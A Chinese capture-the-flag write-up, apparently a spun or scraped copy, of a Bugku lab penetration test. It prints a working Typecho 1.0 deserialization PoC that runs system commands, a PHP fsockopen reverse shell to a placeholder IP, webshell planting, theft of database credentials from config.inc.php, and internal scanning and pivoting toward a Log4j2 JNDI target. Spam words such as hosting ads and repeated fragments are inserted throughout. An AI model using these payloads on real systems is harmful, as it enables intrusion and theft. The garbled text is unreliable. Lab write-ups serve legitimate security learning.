我也没想到居然能有第二篇 ,记录经历可能是次坎我打靶太过于坎坷(其实就是菜 ,呜呜呜)。打靶
言归正传,记录经历bugku的次坎par模式,渗透测试2 ,打靶共9个flag ,记录经历打了三次 ,次坎历时三天 ,打靶全部拿下。记录经历整个打靶过程依旧十分坎坷,次坎在此,打靶分享出来笔者打靶的记录经历过程,云计算并呈现自己的次坎思考 ,同时也希望能获得大佬的打靶指点。
启动场景 ,给了一个ip:80 ,老样子先上nmap扫一波

看来还是得从80端口开始,访问页面显示

哇,这么大个flag,这是怕我看不见么 ,结果访问并不是 ,年轻人不讲武德 ,来骗 ,建站模板来偷袭...呜呜呜

上dirsearch扫着 ,咱先熟悉一下整个站点的功能 ,这个站点是属于博客类型的,插件识别出来这是一个Typecho的cms,版本为1.0

网上搜搜看有没有历史漏洞

嘿!还真有,刚好符合要求

挺轻松,直接上poc ,
复制<?php
class Typecho_Feed{ const RSS2 = RSS 2.0; private $_type; private $_items; public function __construct(){ //__toString函数检查
$this->_type = self::RSS2; //触发__get函数
$_item[author] = new Typecho_Request(); //触发错误
$_item[category] = array(new Typecho_Request()); $this->_items[0] = $_item; }}class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ //回调函数的参数,即想要执行的源码库命令
$this->_params[screenName] = "ls"; //回调函数
$this->_filter[0] = "system"; }}$data = new Typecho_Feed();$poc = array( adapter => $data, prefix => "typecho_");//序列化
$s = serialize($poc);//base64编码
echo base64_encode($s);?>1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.将poc运行后的结果 ,利用hackbar进行post传参,看到当前目录下的所有文件

当前目录下没有flag ,去根目录下看看,直接cat /f* ,拿到flag

上一个flag没有提示,但按照打靶正常流程,咱应该想办法getshell ,尝试反弹一个shell回来 。它本身是一个php站点,上面的poc中调用的又是亿华云system函数,最先想到的payload就是
复制php -r $sock=fsockopen("xx.xx.xx.xx",1234);system("sh <&3 >&3 2>&3");1.但是因为单双引号闭合的问题(有些函数里必需要有引号) ,放在poc里面感觉比较麻烦,想着写一个一句话木马进去,但是蚁剑死活连不上 ,最后还是回到原来的想法,反弹shell。处心积虑地构造了我大半天,终于构造完了 ,高防服务器最后长这样 ,用变量隔开了很多参数,然后利用字符串拼接的方式将整个命令拼接完整就OK啦

(后面发现只要给双引号加个\转义一下就行了,一口老血吐了出来)

接收到shell后,看了一下当前目录并没有flag ,先用python提升一下shell的交互性吧
复制python3 -c import pty; pty.spawn("/bin/bash")1.
然后看了一下自己刚刚想写进去的那个一句话木马
?嗯?我的$_POST呢?就离谱...
然后因为这个反弹回来的shell执行命令起来有点麻烦(敲错命令想删掉重敲 ,虽然它确实是删掉了 ,但是显示上并不会删掉而且还会多两个字符^H)

我觉得还是工具的服务器租用ui界面操作起来更方便,想用echo命令写一个一句话木马进去,结果呀,这个$_POST依旧是写不进去

最后我还是用老办法 ,将这个一句话木马分开 ,按两次写入shell.php ,查阅了一下echo命令的一个详细用法 ,于是就有了下图

上蚁剑,成功连上

按照上次做渗透测试1的经验 ,flag应该在数据库里面,查看config.inc.php,拿到数据库账号密码,

登录后在数据库中拿到flag


依旧是没有任何提示,想看看能不能提权,但就我那个提权三板斧是提不了的,只能看一下网段信息先走内网了

显示有一个网段192.168.0.2/24 ,传一个fscan扫一下(将结果输出到文件里边 ,不然没有回显)

看一下结果 ,提示192.168.0.3:80的title是不一样的,挂一个frp ,访问一下该站点

什么也没有 ,尝试弱口令 ,没用 ,爆破 ,没结果,想着抓包试试爆破,结果返回包里边提示source.zip

访问看看,把源码下载下来了
解压出来 ,浅浅看一下 ,是一个log4j2的题,估摸着是考CVE-2021-44228漏洞的利用吧

但是说来惭愧,作为一个web手 ,这个漏洞自曝出到现在我还没有去复现研究过 ,导致现在不知道怎么去利用它,刚好时间也到了,只能先去研究一下这个漏洞了,第一次打靶结束。
研究了一天这个漏洞,大致知道该漏洞的基本原理和利用方法了
复制基本原理:一些版本的log4j2中存在JNDI注入漏洞 ,当程序记录用户输入的数据时 ,即可触发该漏洞。
JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI)